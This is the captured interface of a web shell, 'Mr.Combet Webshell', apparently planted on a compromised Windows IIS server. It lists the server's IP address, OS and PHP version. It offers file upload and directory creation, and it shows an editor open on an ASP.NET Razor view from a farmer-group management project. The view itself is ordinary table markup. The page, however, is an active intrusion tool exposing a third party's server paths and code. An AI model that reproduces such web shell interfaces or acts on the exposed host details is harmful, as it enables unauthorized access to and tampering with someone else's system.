Mr.Combet Webshell
Your IP :
216.73.216.136
Server IP :
103.233.58.157
Server :
Windows NT WIN-4PGF72KEHKB 10.0 build 17763 (Windows Server 2016) AMD64
Server Software :
Microsoft-IIS/10.0
PHP Version :
7.3.25
Add File :
Submit
Add Directory :
Submit
Dir :
C:
/
inetpub
/
wwwroot
/
mapqa
/
Views
/
GroupMembers
/
Edit File Name :
_changeiff_farmer.cshtml
@model RER_Project.DataAccess.ViewModels.Groups.GroupPaginatedViewModel @using RER_Project.BusinessLayer.BusinessService @using RER_Project.Core.Helpers @{ var meta = AppUserService.GetCurrent(); } <div style="float:right;margin-bottom:10px;"> <button type="button"class="btn btn-primary" onclick="clickme(0)" id="buttonid" value="" >Individual Farmer</button> </div> <div class="table table-responsive table-striped table-hover table-bordered" style="overflow-x: auto; white-space: nowrap;"> <form id="CreateServiceProvider"> <table class="table table-striped" id="groupListTable"> <thead> <tr> <th>SN. </th> <th>IFF Id</th> <th>Province</th> <th>Atoll</th> <th>Island</th> <th>IFF/ Individual Farmers Name </th> <th style="white-space:nowrap;"># of Member</th> @if (meta.RoleId == (int)EnumRoleHelper.Roles.Admin || meta.RoleId == (int)EnumRoleHelper.Roles.MnE || meta.RoleId == (int)EnumRoleHelper.Roles.ProjectManager || meta.RoleId == (int)EnumRoleHelper.Roles.MnEOfficer || meta.RoleId == (int)EnumRoleHelper.Roles.ProgrameOfficer) { <th>Action</th> } </tr> </thead> <tbody> @{ int serialNo = 1; } @foreach (var item in Model.FnGroupList) { <tr> <td> <label> @((Model.PagerHelper.CurrentPage - 1) * 10 + @serialNo)</label> @{ serialNo++; } </td> <td>@item.group_id</td> <td style="white-space: nowrap;"> @item.province_name </td> <td>@item.district_name</td> <td style="white-space:nowrap;">@item.municipality_name</td> <td style="white-space:nowrap;"> @item.group_name </td> <td title="Click to View" style="text-align:center;"> <a class="btn btn-default btn-xs"> <center> @item.total_member</center> </a> <br /> </td> <td style="text-align:center;height:40px;width:40px;"> @* <input type="checkbox" id="isRegistered" name="isRegistered" value="hey">*@ <button type="button" class="btn btn-primary" onclick="clickme(@item.group_id)" id="buttonid" value="">Switch IFF</button> </td> </tr> } </tbody> </table> </form> <div align="center"> <center> <div class="pagination" id="pagination_active"> @if (Model.PagerHelper.CurrentPage > 1) { <button class="btn btn-primary" value="@(Model.PagerHelper.CurrentPage-1)" id="@(Model.PagerHelper.CurrentPage-1)" onclick="callSearchPagination(@(Model.PagerHelper.CurrentPage-1))">Prev </button> } @for (long i = Model.PagerHelper.StartPage; i < (Model.PagerHelper.EndPage + 1); i++) { <button class="btn @(Model.PagerHelper.CurrentPage == i ? "btn-primary active" : "")" value="@i" id="@i" onclick="callSearchPagination(@i)">@i</button> } @if (Model.PagerHelper.CurrentPage < Model.PagerHelper.TotalPages) { <button class="btn btn-primary" value="@(Model.PagerHelper.CurrentPage+1)" id="@(Model.PagerHelper.CurrentPage+1)" onclick="callSearchPagination(@(Model.PagerHelper.CurrentPage+1))">Next</button> } </div> </center> </div> </div> <style> table td, th { border: 1px solid #e7eaec; } </style>
Save